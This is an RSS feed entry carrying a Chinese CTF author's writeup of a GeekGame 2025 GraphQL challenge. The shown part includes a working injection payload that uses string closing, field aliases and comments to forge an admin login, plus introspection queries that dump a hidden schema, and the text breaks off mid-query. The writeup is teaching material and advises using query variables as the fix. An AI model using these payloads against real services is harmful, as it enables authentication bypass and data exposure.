<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="/assets/rss-20b3285f.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>ouuan's blog</title>
        <link>https://ouuan.moe/</link>
        <description>ouuan 的博客</description>
        <lastBuildDate>Sun, 26 Oct 2025 04:32:03 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>Copyright © 2022 - 2026 ouuan
Licensed under CC BY-SA 4.0</copyright>
        <atom:link href="https://ouuan.moe/feed.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[GeekGame 2025 出题人题解：统一身份认证、勒索病毒]]></title>
            <link>https://ouuan.moe/post/2025/10/geekgame-2025-graphauth-ransomware</link>
            <guid>https://ouuan.moe/post/2025/10/geekgame-2025-graphauth-ransomware</guid>
            <pubDate>Sun, 26 Oct 2025 04:32:03 GMT</pubDate>
            <description><![CDATA[<p>GeekGame 2025<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/web-graphauth"><span class="mojikumi-line-start">【</span>统一身份认证<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>web-graphauth<span class="mojikumi-line-end">）</span></a>和<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/misc-ransomware"><span class="mojikumi-line-start">【</span>勒索病毒<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>misc-ransomware<span class="mojikumi-line-end">）</span></a>的出题人题解<span class="mojikumi-line-end">。</span></p>
]]></description>
            <content:encoded><![CDATA[<p>GeekGame 2025<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/web-graphauth"><span class="mojikumi-line-start">【</span>统一身份认证<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>web-graphauth<span class="mojikumi-line-end">）</span></a>和<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/misc-ransomware"><span class="mojikumi-line-start">【</span>勒索病毒<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>misc-ransomware<span class="mojikumi-line-end">）</span></a>的出题人题解<span class="mojikumi-line-end">。</span></p>

<h2 id="统一身份认证" class="heading"><a href="#统一身份认证" class="heading-anchor" aria-label="章节： 统一身份认证" tabindex="-1"></a><span>统一身份认证</span></h2>
<h3 id="flag-1" class="heading"><a href="#flag-1" class="heading-anchor" aria-label="章节： Flag 1" tabindex="-1"></a><span>Flag 1</span></h3>
<p>在登录和注册时<span class="mojikumi-line-end">，</span>直接将用户输入拼接在了 GraphQL 查询中<span class="mojikumi-line-end">，</span>用引号就可以闭合字符串进行注入<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-1"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-1--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">query ($username: String = &quot;</span><span style="color: #4876D6">{</span><span style="color: #403F53">username</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;, $password: String = &quot;</span><span style="color: #4876D6">{</span><span style="color: #403F53">password</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">  login(username: $username, password: $password) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    ok</span></span>
<span><span style="color: #C96765">    isAdmin</span></span>
<span><span style="color: #C96765">    username</span></span>
<span><span style="color: #C96765">  </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">&#39;&#39;&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">query ($username: String = &quot;</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">username</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;, $password: String = &quot;</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">password</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">  login(username: $username, password: $password) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    ok</span></span>
<span><span style="color: #ECC48D">    isAdmin</span></span>
<span><span style="color: #ECC48D">    username</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span></code></pre></div></section>
<p>攻击目标是返回 <code>"<wbr>login<wbr>": { "<wbr>ok<wbr>": <wbr>true<wbr>, "<wbr>isAdmin<wbr>": <wbr>true<wbr>, "<wbr>username<wbr>": "<wbr>xxx<wbr>" }</code><span class="mojikumi-line-end">，</span>而查询中本来有的这个 <code>login</code> 没法篡改<span class="mojikumi-line-end">，</span>只能注入一个新的 <code>login</code><span class="mojikumi-line-end">。</span>代码中检查 <code>ok</code> 时只需要 truthy 即可<span class="mojikumi-line-end">，</span>而检查 <code>isAdmin</code> 时写的是 <code>== True</code><span class="mojikumi-line-end">，</span>所以必须是 <code>true</code><span class="mojikumi-line-end">，</span>而能够返回 <code>true</code> 的除了 <code>isAdmin</code> 只有 <code>ok</code><span class="mojikumi-line-end">，</span>通过 <a href="https://graphql.org/learn/queries/#aliases">alias</a><span class="mojikumi-line-end">，</span>可以让返回值中的 <code>isAdmin</code> 字段放 <code>ok</code> 的值<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-2"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-2--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">query</span><span style="color: #403F53"> ($username: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">username</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, $password: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">password</span><span style="color: #111111">&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span><span style="color: #989FB1">&quot;) {</span></span>
<span><span style="color: #989FB1">  login(username: $username, password: $password) {</span></span>
<span><span style="color: #989FB1">    ok</span></span>
<span><span style="color: #989FB1">    isAdmin</span></span>
<span><span style="color: #989FB1">    username</span></span>
<span><span style="color: #989FB1">  }</span></span>
<span><span style="color: #989FB1">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">query</span><span style="color: #D6DEEB"> (</span><span style="color: #D7DBE0">$username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">$password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span><span style="color: #637777">&quot;) {</span></span>
<span><span style="color: #637777">  login(username: $username, password: $password) {</span></span>
<span><span style="color: #637777">    ok</span></span>
<span><span style="color: #637777">    isAdmin</span></span>
<span><span style="color: #637777">    username</span></span>
<span><span style="color: #637777">  }</span></span>
<span><span style="color: #637777">}</span></span></code></pre></div></section>
<p>此时还需要处理掉查询语句中的 <code>") {</code> 以及原有的这个 <code>login</code><span class="mojikumi-line-end">。</span><code>") {</code> 通过注释 <code>#</code> 就可以处理<span class="mojikumi-line-end">。</span>原有的 <code>login</code> 会造成重复而出错<span class="mojikumi-line-end">，</span>给一个 alias 就行<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-3"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-3--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">query</span><span style="color: #403F53"> ($username: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">username</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, $password: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">password</span><span style="color: #111111">&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">original</span><span style="color: #403F53">:</span><span style="color: #989FB1"> #&quot;) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">query</span><span style="color: #D6DEEB"> (</span><span style="color: #D7DBE0">$username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">$password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">original</span><span style="color: #D6DEEB">:</span><span style="color: #637777"> #&quot;) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">isAdmin</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<a id="使用-graphql-variable" name="使用-graphql-variable" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-green-2 dark:bg-green-9 b-green-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h4 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-lightbulb-outline text-green" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Hint: </span><span data-v-a2ab257f>使用 GraphQL variable</span></h4><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>就像在 SQL 中应当使用 prepared statement<span class="mojikumi-line-end">，</span>在 GraphQL 中也应当使用 <a href="https://graphql.org/learn/queries/#variables">variable</a> 来传递数据<span class="mojikumi-line-end">，</span>而不应将用户输入直接拼接在查询中<span class="mojikumi-line-end">。</span></p></div></div></aside>
<h3 id="flag-2" class="heading"><a href="#flag-2" class="heading-anchor" aria-label="章节： Flag 2" tabindex="-1"></a><span>Flag 2</span></h3>
<p>schema 是未知的<span class="mojikumi-line-end">，</span>要拿到 flag 就需要先获取 schema<span class="mojikumi-line-end">。</span>GraphQL 提供了 <a href="https://graphql.org/learn/introspection/">introspection</a> 功能<span class="mojikumi-line-end">，</span>可以通过 GraphQL query 来查询 schema<span class="mojikumi-line-end">。</span></p>
<p>GraphQL introspection 有三个主要方法<span class="mojikumi-line-end">：</span></p>
<ul>
<li>在任何地方都可以问 <code>__typename</code> 得到类型名</li>
<li>在 <code>Query</code> 可以问 <code>__type<wbr>(<wbr>name<wbr>: "<wbr>Type<wbr>")</code> 获取特定类型的 schema</li>
<li>在 <code>Query</code> 可以问 <code>__schema</code> 获取整个 schema</li>
</ul>
<p>通过 <code>__schema { types { ... } }</code> 就可以一次性获取整个 schema 中需要的信息<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-4"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-4--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">login</span><span style="color: #403F53">: </span><span style="color: #4876D6">__schema</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">ok</span><span style="color: #403F53">: </span><span style="color: #4876D6">__typename</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">__typename</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">username</span><span style="color: #403F53">: </span><span style="color: #4876D6">types</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #82AAFF">login</span><span style="color: #D6DEEB">: </span><span style="color: #82AAFF">__schema</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">ok</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">__typename</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">__typename</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">types</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>而由于 flag 藏的不是特别深<span class="mojikumi-line-end">，</span>也可以一层层问下去<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-5"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-5--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">__type</span><span style="color: #403F53">(name: </span><span style="color: #989FB1">&quot;Secret&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">ok</span><span style="color: #403F53">: </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">username</span><span style="color: #403F53">: </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">              </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">              </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                    </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                      </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                        </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                          </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                          </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                            </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                            </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                              </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                              </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                                </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                                </span><span style="color: #4876D6">type</span><span style="color: #403F53"> { </span><span style="color: #4876D6">name</span><span style="color: #403F53"> }</span></span>
<span><span style="color: #403F53">                              }</span></span>
<span><span style="color: #403F53">                            }</span></span>
<span><span style="color: #403F53">                          }</span></span>
<span><span style="color: #403F53">                        }</span></span>
<span><span style="color: #403F53">                      }</span></span>
<span><span style="color: #403F53">                    }</span></span>
<span><span style="color: #403F53">                  }</span></span>
<span><span style="color: #403F53">                }</span></span>
<span><span style="color: #403F53">              }</span></span>
<span><span style="color: #403F53">            }</span></span>
<span><span style="color: #403F53">          }</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">      }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #82AAFF">__type</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">name</span><span style="color: #D6DEEB">: </span><span style="color: #637777">&quot;Secret&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">ok</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">              </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">              </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                    </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                      </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                        </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                          </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                          </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                            </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                            </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                              </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                              </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                                </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                                </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> { </span><span style="color: #C5E478">name</span><span style="color: #D6DEEB"> }</span></span>
<span><span style="color: #D6DEEB">                              }</span></span>
<span><span style="color: #D6DEEB">                            }</span></span>
<span><span style="color: #D6DEEB">                          }</span></span>
<span><span style="color: #D6DEEB">                        }</span></span>
